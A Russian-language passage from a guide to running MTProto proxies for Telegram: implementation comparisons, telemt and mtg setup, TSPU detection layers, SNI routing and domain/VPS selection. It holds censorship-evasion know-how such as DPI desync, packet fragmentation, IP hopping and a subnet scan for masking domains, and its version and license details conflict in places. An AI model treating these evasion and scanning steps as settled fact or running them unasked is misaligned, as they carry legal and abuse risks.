^^^^^^^^^^^^^^^^^^^^^^ ee секрет (32 hex) "google.com" в hex ``` Сервер использует только 16-байтный секрет (через `-S`), домен — через `-D`. Префикс `ee` — это клиентский маркер, сервер его не использует. ## Middle Proxy Два режима работы MTProxy: | | Direct Mode | Middle Proxy Mode | |---|---|---| | Схема | Клиент → MTProxy → Telegram DC | Клиент → MTProxy → Middle Proxies → Telegram DC | | Ad Tag | Нет | Да (через @MTProxyBot) | | Производительность | Выше | Ниже (доп. hop) | | Требования | Секрет | + proxy-secret + proxy-multi.conf | Для работы Ad Tag нужен middle proxy. Файлы обновляются каждые 12 часов: ```bash curl -sf https://core.telegram.org/getProxySecret -o proxy-secret curl -sf https://core.telegram.org/getProxyConfig -o proxy-multi.conf ``` ## Все три режима — официальные Все три режима реализованы в **официальном** `TelegramMessenger/MTProxy`: - Classic и dd — задокументированы в README - FakeTLS — добавлен в июле 2019 (флаг `-D`), но **README не обновлён** (последнее обновление README — декабрь 2018) Поддержка всех трёх режимов есть во всех клиентах Telegram (iOS, Android, Desktop). ## DC203/CDN DC203 — CDN-датацентр Telegram для кэширования медиа из каналов с 100k+ подписчиков. Его IP не в публичном списке — старые прокси не знают куда подключаться. **Симптомы:** текст работает, медиа из крупных каналов не грузится. **Решение:** обновить прокси до актуальной версии (mtg v2.1.12+, telemt v3.0+). --- # 5 независимых реализаций MTProto Proxy Все пять проектов — **полностью разный код**, написанный с нуля на разных языках. Реализуют один и тот же протокол MTProto Proxy. ## Сводная таблица | | **telemt** | **mtg** | **mtprotoproxy** | **mtproto_proxy** | **mtproto.zig** | |---|---|---|---|---|---| | **Язык** | Rust + Tokio | Go | Python (asyncio) | Erlang/OTP | Zig (без GC, пре-аллокация) | | **Репо** | telemt/telemt | 9seconds/mtg | alexbers/mtprotoproxy | seriyps/mtproto_proxy | sleep3r/mtproto.zig | | **Версия** | 3.4.15 (июнь 2026) | 2.1.13 (фев 2026) | v1.1.1 (май 2022, коммиты до 2026) | 0.7.4 (фев 2026) | 1.0.1 (июнь 2026) | | **Лицензия** | — | MIT | MIT | Apache 2.0 | MIT | | **REST API** | Полный CRUD `/v1/users` | Нет | Нет | Нет | Нет (CLI `mtbuddy`) | | **Мультиюзер** | Да + per-user лимиты | 1 секрет = 1 инстанс | Да (config.py) | Да (sys.config) | Да + per-user секреты/лимиты | | **Hot-reload** | API (без рестарта) | Нельзя | SIGUSR2 | systemctl reload | SIGHUP (юзеры+конфиг; запрещён при workers>1) | | **Маскировка при зондах** | TCP Splice → реальный сайт | Domain Fronting (байт-идентичный) | Редирект на TLS_DOMAIN | Ничего (закрывает conn) | `mask` → реальный домен + nginx decoy (реальный серт) | | **Traffic mimicry** | Нет | Doppelganger (только в master, не в релизе) | Нет | Нет | DRS + ServerHello desync (частично) | | **SOCKS5 upstream** | Да (+SOCKS4) | Да | Да | Нет | Да (+HTTP CONNECT, +WG/AmneziaWG туннель) | | **Proxy Protocol** | Да | v1/v2 | v1/v2 | Нет | Нет (есть `public_port` для HAProxy/Nginx) | | **Prometheus** | Да (порт 9090, выкл. по умолч.) | Да (из коробки) | Да | Да | Да (выкл. по умолч.) | | **Ad Tag** | Per-user (через API) | Нет (убрано в v2) | Общий | Общий | Общий (`tag` / `ad_tag`) | | **Anti-replay** | Sliding window | Stable Bloom filter | OrderedDict FIFO | ETS-таблицы | Хеш-таблица, TTL 60 мин | | **Производительность** | ~5-15k conn/1CPU | ~10-20k conn | ~4k юзеров/1CPU | 90k conn/4CPU | SO_REUSEPORT мультиворкер, пре-аллокация | | **Memory leak** | Да (#390, не исправлен) | Исторические OOM — исправлены | Пул соединений (#298) | 100% CPU (#104) | Нет известных | ### Уникальное у `mtproto.zig`: обход DPI «под ключ» Остальные четыре — это **только прокси**: обход DPI на уровне ОС (дробление пакетов, zapret) настраиваешь сам, отдельно. `mtproto.zig` через `mtbuddy install` ставит это автоматически: | Техника | telemt | mtg | mtprotoproxy | mtproto_proxy | mtproto.zig | |---|---|---|---|---|---| | **TCPMSS-дробление ClientHello** | сам | сам | сам | сам | **ставит сам** (`--tcpmss 88`) | | **nfqws TCP desync (zapret)** | сам | сам | сам | сам | **ставит сам** (`mtbuddy nfqws`) | | **IPv6-hopping при бане** | Нет | Нет | Нет | Нет | **Да** (`--ipv6-hop`) | | **VPN-туннель upstream (WG/AmneziaWG)** | Нет | Нет | Нет | Нет | **Да** (`type = "tunnel"`) | Подробный разбор техник и настроек — в [[mtproxy/mtproto-zig|MTProxy и mtproto.zig: как пережить ТСПУ]]. ## Какой выбрать? ### Для Telegram-бота с per-user ключами → **telemt** Единственный с REST API. Создание/удаление юзеров без SSH и рестартов: ```bash curl -X POST http://127.0.0.1:9091/v1/users \ -d '{"username":"user_123", "expiration_rfc3339":"2026-04-14T00:00:00Z"}' ``` ### Для максимального обхода DPI → **mtg** Doppelganger (в master, планируется v2.2) имитирует статистические характеристики TLS-трафика реального сайта — размеры записей, тайминги. Уникальная фича. ### Для простоты → **mtprotoproxy** Один файл Python (~2400 строк), минимум зависимостей. Работает без pip-пакетов. ### Для высоких нагрузок → **mtproto_proxy** (Erlang) 90k соединений / 1 Gbps на 4 ядрах. Erlang OTP супервизоры — краш одного соединения не роняет сервер. ### Для обхода DPI «под ключ» → **mtproto.zig** (Zig) Единственный, кто **сам** ставит OS-level обход (TCPMSS-дробление + zapret/nfqws desync), маскировку nginx и IPv6-hopping — одной командой `mtbuddy install`, без ручной возни с iptables. Плюс статический бинарь без зависимостей и без GC. Если нужен «поставил и работает» против ТСПУ — это он. Разбор: [[mtproxy/mtproto-zig|MTProxy и mtproto.zig]]. ## Обёртки (НЕ отдельные проекты) Эти проекты — скрипты/Dockerfile вокруг **telemt**. Свой код не содержат: | Обёртка | Что делает | |---|---| | An0nX/telemt-docker | Docker build telemt (distroless, ~3.75 MB) | | itcaat/mtproto-installer | curl\|bash установщик telemt + Traefik | | nolaxe/install-MTProxy | Bash-менеджер (install/uninstall/status) | Если нужен telemt — ставьте telemt напрямую. ## Официальный TelegramMessenger/MTProxy - Язык: C, GPLv2 - Поддерживает все 3 режима (Classic, dd, FakeTLS через `-D`) - Фактически заброшен (README не обновлялся с 2018, последний фикс — ноябрь 2025) - Лимит 16 секретов (хардкод, нужен патч для увеличения) - Нет Docker, нет API - **Не рекомендуется** — используйте telemt или mtg --- # Telemt (Rust) — установка и настройка **Репо:** https://github.com/telemt/telemt **Язык:** Rust + Tokio | **Версия:** 3.4.15 | **Лицензия:** GPL-3.0 Лучший выбор для Telegram-бота: REST API для управления пользователями, per-user лимиты, TCP Splice маскировка. > [!tip] Диагностика блокировок > С 3.4.x telemt логирует TLS-фингерпринт (JA4/JA3) клиентов. Как по логам поймать активный детект ТСПУ (`expected_64_got_0`) — в [[Zapret/mtproto/10-telemt-logs-dpi|10-telemt-logs-dpi]]. > [!tip] Продакшн-развёртывание под нагрузкой > Несколько инстансов, systemd, анти-DPI закалка (`client_mss="tspu"` + UFW rate-limit per-port) и фикс iOS-залипания — в [[Zapret/mtproto/11-telemt-server-setup|11-telemt-server-setup]]. ## Быстрая установка (Docker) ### 1. Генерация секрета ```bash openssl rand -hex 16 # Пример: a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 ``` ### 2. Создание конфига `telemt.toml` ```toml [general] use_middle_proxy = true log_level = "normal" [general.modes] classic = false secure = false tls = true [server] port = 443 [server.api] enabled = true listen = "127.0.0.1:9091" whitelist = ["127.0.0.0/8"] # auth_header = "my-secret-token" # опционально # [server.metrics] # metrics_port = 9090 # Prometheus, выключено по умолчанию [[server.listeners]] ip = "0.0.0.0" [censorship] tls_domain = "petrovich.ru" # Домен для маскировки (см. 08-best-practices.md) mask = true tls_emulation = true [access.users] user1 = "a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6" ``` ### 3. Docker Compose (`docker-compose.yml`) ```yaml services: telemt: image: whn0thacked/telemt-docker:latest container_name: telemt restart: unless-stopped network_mode: host environment: RUST_LOG: "info" volumes: - ./telemt.toml:/etc/telemt.toml:ro security_opt: - no-new-privileges:true cap_drop: - ALL cap_add: - NET_BIND_SERVICE read_only: true tmpfs: - /tmp:rw,nosuid,nodev,noexec,size=16m deploy: resources: limits: cpus: "0.50" memory: 256M ulimits: nofile: soft: 65536 hard: 65536 logging: driver: json-file options: max-size: "10m" max-file: "3" ``` ### 4. Запуск ```bash docker compose up -d docker compose logs -f ``` ## Установка без Docker (бинарник) ```bash # Скачать бинарник TELEMT_VERSION=3.4.25 wget -qO- "https://github.com/telemt/telemt/releases/download/${TELEMT_VERSION}/telemt-x86_64-linux-gnu.tar.gz" | tar xz sudo mv telemt /bin/telemt sudo chmod +x /bin/telemt # Создать пользователя sudo useradd -d /opt/telemt -m -r -U telemt # Systemd сервис sudo tee /etc/systemd/system/telemt.service << 'EOF' [Unit] Description=Telemt MTProxy After=network.target [Service] Type=simple User=telemt ExecStart=/bin/telemt /etc/telemt/telemt.toml LimitNOFILE=65536 Restart=on-failure AmbientCapabilities=CAP_NET_BIND_SERVICE [Install] WantedBy=multi-user.target EOF sudo systemctl daemon-reload sudo systemctl enable --now telemt ``` ## REST API Порт `9091`, JSON, префикс `/v1`. ### Управление пользователями ```bash # Создать пользователя (секрет генерируется автоматически) curl -X POST http://127.0.0.1:9091/v1/users \ -H "Content-Type: application/json" \ -d '{"username":"user_123456"}' # Создать с expiration и лимитами curl -X POST http://127.0.0.1:9091/v1/users \ -H "Content-Type: application/json" \ -d '{ "username": "user_123456", "expiration_rfc3339": "2026-04-14T00:00:00Z", "max_tcp_conns": 10, "max_unique_ips": 3, "data_quota_bytes": 10737418240 }' # Список пользователей (включает готовые tg://proxy ссылки!) curl http://127.0.0.1:9091/v1/users | jq # Информация о конкретном пользователе curl http://127.0.0.1:9091/v1/users/user_123456 # Изменить лимиты curl -X PATCH http://127.0.0.1:9091/v1/users/user_123456 \ -H "Content-Type: application/json" \ -d '{"expiration_rfc3339": "2026-05-01T00:00:00Z"}' # Удалить пользователя curl -X DELETE http://127.0.0.1:9091/v1/users/user_123456 ``` ### Поля при создании/обновлении | Поле | Тип | Обязательное | Описание | |------|-----|---|---| | `username` | string | Да | `[A-Za-z0-9_.-]`, 1-64 символа | | `secret` | string | Нет | 32 hex. Автогенерация если не указан | | `expiration_rfc3339` | string | Нет | Срок действия (ISO 8601) | | `data_quota_bytes` | u64 | Нет | Квота трафика в байтах | | `max_tcp_conns` | usize | Нет | Макс. одновременных TCP | | `max_unique_ips` | usize | Нет | Макс. уникальных IP | | `user_ad_tag` | string | Нет | 32 hex, рекламный тег | ### Ответ содержит готовые ссылки ```json { "links": { "tls": ["tg://proxy?server=1.2.3.4&port=443&secret=ee..."], "secure": ["tg://proxy?server=1.2.3.4&port=443&secret=dd..."], "classic": ["tg://proxy?server=1.2.3.4&port=443&secret=..."] } } ``` ### Другие эндпоинты | Метод | Путь | Описание | |-------|------|----------| | GET | `/v1/health` | Здоровье сервиса | | GET | `/v1/system/info` | Информация о системе | | GET | `/v1/stats/summary` | Статистика | | GET | `/v1/stats/users` | Статистика по пользователям | ### Аутентификация 1. **IP whitelist** — `whitelist` в `[server.api]`, CIDR формат. По умолчанию `127.0.0.1/32` 2. **Auth header** — `auth_header` в `[server.api]`, exact string match ### Ограничения - `DELETE` последнего пользователя → `409 last_user_forbidden` - `POST /v1/users/{name}/rotate-secret` → `404` (баг, не реализован в текущей версии) - Утечка памяти в draining writers (issue #390, не исправлено в 3.3.17) — мониторьте RSS, рестартуйте при необходимости ## TCP Splice — маскировка Когда к серверу подключается НЕ клиент Telegram (DPI-зонд, браузер): 1. Telemt определяет что это не MTProxy handshake 2. Устанавливает TCP-соединение с реальным сервером `tls_domain` 3. Прозрачно сплайсит TCP-потоки 4. Клиент получает **настоящий сертификат и контент** реального сайта Нет MITM, нет поддельных сертификатов. DPI не может отличить от реального HTTPS. --- # MTG (Go) — установка и настройка **Репо:** https://github.com/9seconds/mtg **Язык:** Go | **Версия:** 2.1.13 | **Лицензия:** MIT Лучший выбор для максимального обхода DPI: Doppelganger, domain fronting, anti-replay. Но **1 секрет на инстанс** — не подходит для per-user управления. ## Особенности - **Только FakeTLS** — Classic и Secure убраны в v2 - **Один секрет = один инстанс** — осознанное решение автора - **Нет Ad Tag** — убрано в v2 - **Нет REST API** — управление только через TOML конфиг - **Doppelganger** — статистическая мимикрия TLS (только в master, планируется v2.2) - **Domain fronting** — байт-идентичные ответы реального сайта при зондировании - Перерыв 3.5 года (авг 2022 → фев 2026), сейчас очень активен ## Быстрая установка (Docker) ```bash # 1. Генерация секрета (выбирайте домен на том же ASN что и VPS!) docker run --rm nineseconds/mtg:2 generate-secret --hex storage.googleapis.com # 2. Создание конфига config.toml cat > config.toml << 'EOF' secret = "ee<ваш_секрет_из_шага_1>" bind-to = "0.0.0.0:3128" [defense.anti-replay] enabled = true max-size = "1mib" [defense.blocklist] enabled = true urls = ["https://iplists.firehol.org/files/firehol_level1.netset"] update-each = "24h" # Doppelganger (только на master, не в v2.1.13!) # [defense.doppelganger] # urls = ["https://example.com/index.html", "https://example.com/about.html"] # repeats-per-raid = 10 # raid-each = "6h" EOF # 3. Запуск docker run -d \ -v $(pwd)/config.toml:/config.toml \ -p 443:3128 \ --name mtg-proxy \ --restart=unless-stopped \ nineseconds/mtg:2 # 4. Получить ссылку для клиентов docker exec mtg-proxy /mtg access /config.toml ``` ## Установка с systemd ```bash # Установить Go и собрать go install github.com/9seconds/mtg/v2@latest # Генерация секрета mtg generate-secret --hex your-domain.com # Конфиг /etc/mtg.toml (аналогично Docker) # Systemd юнит sudo tee /etc/systemd/system/mtg.service << 'EOF' [Unit] Description=mtg MTProto proxy After=network.target [Service] ExecStart=/usr/local/bin/mtg run /etc/mtg.toml Restart=always RestartSec=3 DynamicUser=true AmbientCapabilities=CAP_NET_BIND_SERVICE [Install] WantedBy=multi-user.target EOF sudo systemctl daemon-reload sudo systemctl enable --now mtg ``` ## Doppelganger — уникальная фича **Статус:** Замержено в master 12-14 марта 2026. Планируется в v2.2. В v2.1.13 **отсутствует**. **Что делает:** Имитирует статистические характеристики TLS-соединений реального сайта — размеры TLS-записей, задержки, паттерны чанкинга. Для DPI трафик статистически неотличим от реального HTTPS. **Как работает:** 1. mtg периодически обращается к указанным URL (2-3 страницы сайта) 2. Собирает статистику по размерам TLS-записей и задержкам 3. Искусственно эмулирует эти характеристики в MTProxy-трафике **Дефолты (ok.ru):** mtg поставляется с предсобранной статистикой ok.ru. Работает из коробки без настройки. ```toml [defense.doppelganger] urls = [ "https://lalala.com/index.html", "https://lalala.com/contacts.html", ] repeats-per-raid = 10 raid-each = "6h" drs = false # Dynamic TLS Record Sizing (Cloudflare, Go, Caddy) ``` **Рекомендации:** - 2-3 URL с того же домена, что и для fronting - Смешивайте лёгкие (HTML) и тяжёлые (изображения) страницы - Не используйте ok.ru если ваш VPS не в российском ASN ## Domain Fronting При невалидном MTProxy-запросе mtg **не разрывает соединение**, а: 1. Подключается к реальному сайту (домен из секрета) 2. Проксирует всё что отправил клиент на реальный сайт 3. Возвращает **байт-в-байт идентичный** ответ DPI при active probing получает настоящий ответ от легитимного сайта. ## Мониторинг Встроенная поддержка (из коробки): - **Prometheus** — `/metrics` endpoint - **StatsD** — push metrics - Метрики: соединения, трафик, replay-атаки, blocklist hits, domain fronting events ```toml [stats.prometheus] bind-to = "127.0.0.1:3129" # или StatsD # [stats.statsd] # address = "127.0.0.1:8125" ``` ## Использование с ботом mtg НЕ подходит для per-user ключей. Варианты: 1. **Один общий секрет** — все пользователи бота получают одну ссылку. Нельзя отзывать доступ индивидуально. 2. **Ротация секрета** — раз в сутки менять секрет, бот выдаёт новый только активным подписчикам. 3. **Fallback для stealth** — mtg как вторичный прокси для регионов с жёстким DPI, основной — telemt. ## Скорость **Известная проблема:** mtg ~5x медленнее официального MTProxy (issue #220: 1 MB/s vs 5 MB/s). Для Telegram это обычно не критично (сообщения, фото, небольшие видео), но для загрузки больших файлов может быть заметно. --- # ТСПУ и обход цензуры в России ## Как ТСПУ обнаруживает MTProto ТСПУ (Технические Средства Противодействия Угрозам) используют каскад методов детекции, каждый следующий слой дороже по вычислениям: ### Слой 1: Сигнатурный анализ Первые 16-32 байта пакета сверяются с базой паттернов. Голый MTProto без обфускации ловится мгновенно. ### Слой 2: TLS Fingerprinting (JA3/JA4) Хэш параметров TLS ClientHello. Если прокси-клиент использует собственную TLS-библиотеку — хэш не совпадёт с реальными браузерами. - Go crypto/tls → уникальный JA3, отличный от Chrome/Firefox - Rust TLS → тоже отличается ### Слой 3: IP/ASN проверка SNI говорит "iCloud", а IP принадлежит Hetzner → аномалия. Подробнее в [08-best-practices.md](08-best-practices.md). ### Слой 4: Active Probing ТСПУ сам подключается к подозрительному серверу. Если ответ не соответствует заявленному домену → блокировка. - **telemt** защищает: TCP Splice → реальный сайт - **mtg** защищает: Domain Fronting → байт-идентичный ответ - **Официальный MTProxy** НЕ защищает → разрыв соединения ### Слой 5: Поведенческий анализ Анализ не содержимого, а поведения: размеры пакетов, тайминги, направление трафика. VPN-туннель имеет нетипичный профиль. - **mtg Doppelganger** адресует эту проблему (имитация паттернов реального сайта) ### Слой 6: ИИ/ML модули Нейросети анализируют метаданные: тайминг, соотношение входящего/исходящего, энтропию. Бюджет: **2.27 млрд рублей** (утверждён декабрь 2025). Активная фаза развёртывания — начало 2026. ## Текущий статус блокировок (март 2026) | Протокол | Статус | |---|---| | OpenVPN, WireGuard | Заблокированы | | Shadowsocks | Заблокирован (с сентября 2024) | | Trojan | Заблокирован (с августа 2025) | | VMess | Заблокирован (с сентября 2025) | | VLESS + TCP/TLS | Массовые сбои (с 17 февраля 2026) | | VLESS + Reality | Частично работает, детектируется поведенческим анализом | | VLESS + XHTTP | Рекомендуется как "следующий шаг" | | **MTProto ванильный** | Замедляется | | **MTProto FakeTLS (публичный)** | Блокируется за часы/дни | | **MTProto FakeTLS (приватный, telemt/mtg)** | **Работает** при правильной настройке | | SSH-туннели | Работают | ## Почему MTProxy до сих пор работает? MTProto FakeTLS **замедляется, но НЕ блокируется полностью**: 1. Полная блокировка Telegram политически невыгодна 2. ТСПУ не хватает мощности фильтровать всё одновременно 3. FakeTLS с TCP Splice/Domain Fronting неотличим от легитимного HTTPS 4. Приватные серверы с малым числом пользователей "летят под радаром" **Ключевой инсайт (Хабр, фев 2026):** Когда VLESS "заболел" 17 февраля, MTProxy с FakeTLS на российском VPS давал полную скорость. Хабр назвал это "единственным способом починить Telegram когда VLESS лежит". ## Что не работает - **Мобильные сети РФ** (Билайн, МТС, Мегафон) — IP whitelisting, MTProxy бессилен - **Китай** (GFW) — MTProxy детектируется - **Иран** (при активной цензуре) — FakeTLS обнаруживается за 24 часа, IP блокируется после 200-300 соединений - **Публичные серверы** — РКН находит и блокирует быстро ## Честная оценка: FakeTLS — камуфляж, не невидимость **FakeTLS НЕ равен настоящему TLS.** Это важно понимать. ### Что может обнаружить DPI | Метод | Детектирует FakeTLS? | Почему | |---|---|---| | Первые байты пакета | **Нет** | FakeTLS корректно имитирует TLS Record Layer | | JA3/JA4 fingerprinting | **Да** | Статические cipher/extension без GREASE/ECH — не совпадает с реальными браузерами | | Паттерны трафика | **Да** | Burst-передача, нехарактерная для реального HTTPS | | Active probing | **Нет** (telemt/mtg) | TCP Splice возвращает реальный сайт. Но DNS-проверка раскроет несовпадение IP/SNI | | Полный TLS-анализ | **Да** | Нет реального Certificate, session resumption, ALPN negotiation | ### Что НЕ может обнаружить - Простые DPI без deep TLS inspection (проверка "TLS или нет") - Блокировки по IP (тип протокола не важен) - Casual active probing (TCP Splice показывает реальный сайт) ### Вывод > MTProto FakeTLS — это камуфляж, а не невидимость. Работает против большинства блокировок, > но продвинутый DPI (ТСПУ, GFW, Sandvine) может распознать. > Для гарантированного обхода используйте VLESS+Reality. Разработчик telemt знает о проблемах (issue #301): GREASE injection, ECH emulation, traffic shaping запланированы, но **не реализованы** на март 2026. ## Рекомендации 1. **Только FakeTLS** (ee-секреты) — Classic и Secure легко детектируются 2. **Порт 443** — любой другой порт подозрителен 3. **Приватный сервер** — не публикуйте ссылку 4. **Правильный домен** — на том же ASN что VPS (см. [08-best-practices.md](08-best-practices.md)) 5. **telemt или mtg** — не стоковый MTProxy (нет защиты от active probing) 6. **Имейте запасной вариант** — MTProxy для Telegram + VLESS/XHTTP для всего остального 7. **Мониторьте** — если прокси перестал работать, меняйте IP/домен 8. **MTProxy — дополнение, не замена VLESS** — позиционируйте как удобство (нативная интеграция), а не как основной обход --- # MTProxy vs VLESS — когда что использовать ## Сравнение | Критерий | MTProto Proxy (FakeTLS) | VLESS + Reality | |---|---|---| | **Область** | Только Telegram | Весь трафик устройства | | **Настройка** | Ссылка в 1 касание | Нужен VPN-клиент (v2rayNG, Hiddify) | | **Батарея** | Низкий расход | Средний (VPN-тоннель) | | **Звонки** | Не работают (архитектура Telegram) | Работают | | **Устойчивость к DPI** | Средняя-Высокая (FakeTLS) | Высокая (Reality) | | **Active probing** | Защищён (telemt/mtg) | Защищён (Reality) | | **Статус РФ (март 2026)** | Работает (приватные серверы) | Частично работает (сбои с 17.02.2026) | | **Subpath маскировка** | Невозможно (не HTTP) | Возможно (WS+TLS) | | **Задержка** | 5-20 мс (внутри РФ) | 10-40 мс | ## Когда MTProxy лучше - Нужен **только Telegram** (не весь трафик) - Пользователь **не хочет ставить VPN-клиент** - VLESS "заболел" — MTProxy как **fallback** - Низкий порог входа — **бесплатный/дешёвый тариф** для привлечения пользователей - Минимальная задержка и быстрое переподключение при смене Wi-Fi/LTE ## Когда VLESS лучше - Нужен доступ **ко всему** (YouTube, Instagram, и т.д.) - MTProxy заблокирован в регионе - Нужны **звонки** через Telegram - Максимальная устойчивость к DPI ## Стратегия для бота **Оба протокола — не конкуренты, а дополняют друг друга:** ``` Продуктовая линейка бота: 1. MTProxy (telemt) — бесплатный/дешёвый тариф - Только Telegram - Настройка в 1 касание - Привлечение новых пользователей 2. VLESS (3x-ui) — платный тариф - Весь трафик - Для тех кому нужно больше - Основной источник дохода 3. MTProxy (mtg) — stealth fallback - Когда VLESS падает - Для регионов с жёстким DPI - Общий секрет с ротацией ``` ## Можно ли заменить MTProxy на VLESS для Telegram? **Да**, VLESS полностью работает с Telegram (сообщения, звонки, медиа). Но MTProxy сохраняет нишу: - Нативная интеграция в Telegram (без отдельного приложения) - Настройка в одно касание - Низкий расход батареи - Мгновенное переподключение --- # SNI Routing — MTProxy + сайт на одном порту 443 ## Архитектура FakeTLS — это **НЕ настоящий TLS**. Nginx/HAProxy **не могут его терминировать**. Единственный рабочий вариант — L4 (TCP) маршрутизация по SNI **без терминации**. **Subpath (`/mtproto`) — невозможен.** MTProto работает на уровне TCP, не HTTP. Нет понятия "path". ``` Порт 443 | [nginx stream / haproxy] L4 TCP — ssl_preread / inspect | ┌─────────────┴──────────────┐ | | SNI = example.com SNI пустой / неизвестный (iOS, Android, Desktop) | | ▼ ▼ [127.0.0.1:8443] [127.0.0.1:2443] Nginx HTTPS MTProto Proxy (реальный сайт) (FakeTLS) ``` ## Проблема с SNI в Telegram-клиентах **Критически важно:** Не все Telegram-клиенты отправляют SNI в FakeTLS: | Клиент | SNI? | Статус (март 2026) | Примечание | |---|---|---|---| | **Android** | **ДА** | Работает | Всегда отправлял при корректных `ee`-секретах. Имеет fallback на старый алгоритм | | **iOS** | **НЕСТАБИЛЬНО** | Регрессия 12.2+ | Issue #1912 открыт. Часть юзеров 12.4.x видит SNI, часть нет | | **Desktop** | **ДА** | Работает (с 6.3) | Новый алгоритм ClientHello. Требует обновлённый прокси-сервер | **Причина путаницы:** Desktop 6.3 (ноябрь 2025) обновил алгоритм TLS handshake — старые прокси (mtg v1, старые MTProxy) не понимали новый формат. Это выглядело как "Desktop не шлёт SNI", но на самом деле проблема была в несовместимости протокола. **Вывод:** MTProxy должен быть **default backend** (для пустого/неизвестного SNI), потому что iOS нестабильно отправляет SNI. Сайт маршрутизируется по конкретному SNI. ## Nginx Stream (рекомендуемый) ```nginx # /etc/nginx/nginx.conf user www-data; worker_processes auto; events { worker_connections 4096; } # ============ STREAM: L4 маршрутизатор ============ stream { log_format stream_log '$remote_addr [$time_local] ' 'sni="$ssl_preread_server_name" ' 'upstream=$upstream_addr'; access_log /var/log/nginx/stream.log stream_log; map $ssl_preread_server_name $backend { example.com web_backend; www.example.com web_backend; # Добавьте поддомены при необходимости default mtproto_backend; # ← ВСЁ остальное → MTProxy } upstream mtproto_backend { server 127.0.0.1:2443; } upstream web_backend { server 127.0.0.1:8443; } server { listen 443; listen [::]:443; ssl_preread on; proxy_pass $backend; proxy_connect_timeout 10s; proxy_timeout 300s; proxy_buffer_size 16k; # Для длинных ClientHello } } # ============ HTTP: реальный сайт ============ http { include /etc/nginx/mime.types; default_type application/octet-stream; # Порт 80: ACME challenge + редирект server { listen 80; listen [::]:80; server_name example.com www.example.com; location ^~ /.well-known/acme-challenge/ { root /var/www/letsencrypt; } location / { return 301 https://$host$request_uri; } } # Порт 8443: HTTPS (получает трафик от stream) server { listen 127.0.0.1:8443 ssl; server_name example.com www.example.com; ssl_certificate /etc/letsencrypt/live/example.com/fullchain.pem; ssl_certificate_key /etc/letsencrypt/live/example.com/privkey.pem; ssl_protocols TLSv1.2 TLSv1.3; root /var/www/example.com; index index.html; } } ``` ## HAProxy (альтернатива) ```haproxy # /etc/haproxy/haproxy.cfg global log /dev/log local0 maxconn 50000 daemon defaults log global timeout connect 10s timeout client 300s timeout server 300s frontend ft_ssl bind *:443 mode tcp tcp-request inspect-delay 5s tcp-request content accept if { req_ssl_hello_type 1 } use_backend bk_web if { req.ssl_sni -i example.com } use_backend bk_web if { req.ssl_sni -i www.example.com } default_backend bk_mtproto backend bk_mtproto mode tcp server mtproto 127.0.0.1:2443 check backend bk_web mode tcp server web 127.0.0.1:8443 check ``` ## Let's Encrypt с stream блоком Порт 443 занят stream — certbot `--nginx` не работает. ### Решение 1: Webroot через порт 80 (рекомендуемое) ```bash mkdir -p /var/www/letsencrypt/.well-known/acme-challenge certbot certonly \ --webroot \ -w /var/www/letsencrypt \ -d example.com \ -d www.example.com \ --agree-tos \ --non-interactive ``` ### Решение 2: DNS challenge (Cloudflare) ```bash apt install python3-certbot-dns-cloudflare # /etc/letsencrypt/cloudflare.ini: # dns_cloudflare_api_token = YOUR_TOKEN chmod 600 /etc/letsencrypt/cloudflare.ini certbot certonly \ --dns-cloudflare \ --dns-cloudflare-credentials /etc/letsencrypt/cloudflare.ini \ -d "example.com" \ -d "*.example.com" ``` ### Автообновление ```bash # /etc/letsencrypt/renewal-hooks/deploy/reload-nginx.sh #!/bin/bash nginx -t 2>/dev/null && systemctl reload nginx ``` ```bash chmod +x /etc/letsencrypt/renewal-hooks/deploy/reload-nginx.sh certbot renew --dry-run # проверка ``` ## Проверка маршрутизации ```bash # Должен показать сертификат вашего сайта openssl s_client -connect IP:443 -servername example.com /dev/null | head -5 # Без SNI — должен попасть в MTProxy openssl s_client -connect IP:443 -noservername /dev/null | head -5 # Логи tail -f /var/log/nginx/stream.log ``` ## Важно 1. `$ssl_preread_protocol` **бесполезен** — FakeTLS тоже показывает TLSv1.3 2. Маршрутизация **только по SNI** (`$ssl_preread_server_name`) 3. **Caddy не подходит** — нет stream модуля 4. **Proxy Protocol** нужен для передачи реального IP клиента в бэкенд --- # Best Practices — домен, VPS, безопасность ## 1. Выбор домена маскировки ### Критически важно: тот же ASN DPI проверяет соответствие SNI и IP: ``` ПЛОХО: VPS IP = 167.235.x.x (Hetzner, AS24940) SNI = www.google.com (AS15169) → ASN не совпадают → подозрительно! ХОРОШО: VPS IP = 167.235.x.x (Hetzner, AS24940) SNI = some-site.de (тоже Hetzner, AS24940) → один ASN → нормально, shared hosting ``` ### RealiTLScanner — подбор домена Инструмент от XTLS для поиска доменов-соседей на тех же IP. ```bash # Установка (нужен Go 1.21+) git clone https://github.com/XTLS/RealiTLScanner.git cd RealiTLScanner && go build # Запускать С ЛОКАЛЬНОЙ МАШИНЫ, не с VPS! # (Массовое сканирование с VPS → abuse reports → блокировка) # Сканирование подсети вашего VPS ./RealiTLScanner -addr YOUR_VPS_SUBNET/24 -port 443 -thread 10 -out neighbors.csv # Вывод CSV: IP, ORIGIN, CERT_DOMAIN, CERT_ISSUER, GEO_CODE ``` ### Проверка кандидата ```bash # TLS 1.3 + HTTP/2 (обязательно) curl -I --tlsv1.3 --http2 https://candidate-domain.com # Не редиректит (200, не 301/302) curl -sI https://candidate-domain.com | head -5 # Тот же ASN whois $(dig +short candidate-domain.com) | grep -i origin ``` ### Хорошие домены - Корпоративные сайты на том же хостере - Зеркала Linux-дистрибутивов - Инфраструктурные сервисы (CDN-узлы) - Российские коммерческие сайты (для российского VPS): 1c.ru, wildberries.ru ### Плохие домены - `google.com`, `microsoft.com` — другой ASN - `example.com` — зарезервированный, подозрительный - `*.gov.ru` — привлекает внимание - Тот же домен что у всех (маркер) - Личные блоги (мало трафика, легко профилировать) ## 2. Выбор VPS ### Российский vs зарубежный | | Российский VPS | Зарубежный VPS | |---|---|---| | DPI на участке "юзер → прокси" | Минимальная | Максимальная (граница) | | Задержка | 5-20 мс | 50-150 мс | | Юридический риск | Высокий (РКН может отключить) | Низкий | | Цена | от 80-250 руб/мес | от $3-5/мес | **Рекомендация:** Российский VPS для максимальной скорости, но с пониманием юридических рисков. С 1 марта 2026 РКН расширил контроль над магистральным трафиком — преимущество внутреннего трафика уменьшается. **ntc.party** ведёт [список хостеров за ТСПУ](https://ntc.party/t/хостинги-подключенные-к-тспуdpi/4473) — проверяйте перед покупкой. ### Юридические риски (РФ) - Использование VPN/прокси физлицами — **не запрещено** - Реклама средств обхода блокировок — штраф до 500к руб (с сент 